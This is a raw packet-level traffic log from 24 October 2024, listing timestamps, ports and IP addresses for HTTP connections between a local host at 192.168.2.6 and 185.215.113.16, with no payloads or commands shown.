Oct 24, 2024 04:58:08.851425886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.851442099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.851766109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851847887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851859093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.851883888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.892064095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.892107964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.892185926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.892213106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.892229080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.892246008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.930951118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.930969954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.930980921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.931019068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.931046963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.931051016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.931060076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.931102037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.947195053 CEST	80	49995	185.215.113.37	192.168.2.6
Oct 24, 2024 04:58:08.947261095 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:08.970149994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970163107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970174074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970199108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970210075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970216990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.970222950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970257044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.970262051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970272064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.970274925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970288038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970299959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970304012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.970312119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970325947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.970940113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970952034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970964909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:08.970979929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:08.970993996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.011840105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.011859894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.011874914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.011888027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.011898994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.011902094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.011936903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.050417900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.050446033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.050457001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.050472975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.050493002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.050506115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.050518990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.050554037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089291096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089345932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089358091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089390039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089412928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089423895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089452982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089504957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089540958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089570045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089581966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089592934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089612007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089895964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089915037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089926004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089940071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089958906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.089960098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.089972973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.090018034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.131230116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.131249905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.131261110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.131272078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.131285906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.131305933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.131356001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.169648886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.169673920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.169692039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.169698954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.169723988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.169724941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.169737101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.169770002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172079086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172132015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172133923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172147036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172164917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172177076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172178030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172189951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172207117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172238111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172239065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172250986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172261000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172271967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.172286034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172302961 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.172322989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.177897930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.177922964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.177967072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.177999020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.178076982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.178088903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.178098917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.178132057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.178154945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.208609104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208623886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208635092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208674908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208686113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208703041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.208731890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.208771944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208785057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208795071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.208817005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.208842039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.209110975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.209122896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.209135056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.209183931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.209255934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.209300041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.209304094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.209316969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.209347010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.250447035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.250463009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.250524998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.330362082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330377102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330388069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330430031 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.330487967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.330599070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330610991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330622911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330634117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.330651999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.330677986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.331255913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.331269026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.331279993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.331293106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.331347942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.331374884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.331913948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.331971884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.331986904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.332040071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403033972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403057098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403069973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403080940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403093100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403112888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403126955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403126001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403137922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403151989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403178930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403193951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403388023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403434992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403439999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403453112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403487921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403495073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403498888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403517008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403532028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403542042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403551102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403554916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.403570890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.403592110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.404423952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404441118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404453039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404464006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404476881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404485941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.404489040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404501915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404505014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.404512882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404526949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.404535055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.404553890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.409301996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.409329891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.409342051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.409352064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.409353971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.409383059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.447796106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.447822094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.447834015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.447880030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.447891951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.447999001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.447999001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.447999001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.448129892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448179960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448183060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.448191881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448209047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448220968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448236942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.448236942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.448242903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448259115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.448280096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448282003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.448292971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448304892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.448328972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.449011087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.449038029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.449059963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.449095011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.488507986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.488522053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.488706112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.490020990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.490041018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.490051985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.490071058 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.490091085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.490159035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.490171909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.490181923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.490209103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.491302013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.491343975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.491489887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.491501093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.491512060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.491535902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.522465944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.522507906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.522516966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.528649092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.528659105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.528666019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.528676033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.528707027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.528748989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.564984083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565006018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565016985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565033913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565047026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565171003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565171003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565171003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565438986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565490007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565622091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565634966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565654993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565666914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565677881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.565681934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565681934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565721989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.565721989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.566634893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.566688061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.567750931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.567764044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.567775965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.567786932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.567800045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.567809105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.567826986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.609467983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.609507084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.609520912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.609563112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.609601974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.609617949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.609628916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.609638929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.609663010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.610666037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.610676050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.610709906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.648055077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.648066044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.648135900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.683537006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683549881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683561087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683571100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683583975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683595896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683602095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683608055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683618069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683629990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.683630943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.683672905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.683705091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.684041977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.684055090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.684066057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.684079885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.684102058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.684134007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.765122890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.765224934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.765264034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.765320063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:09.767402887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767440081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:09.767451048 CEST	80	49774	185.215.113.16	192.168.2.6
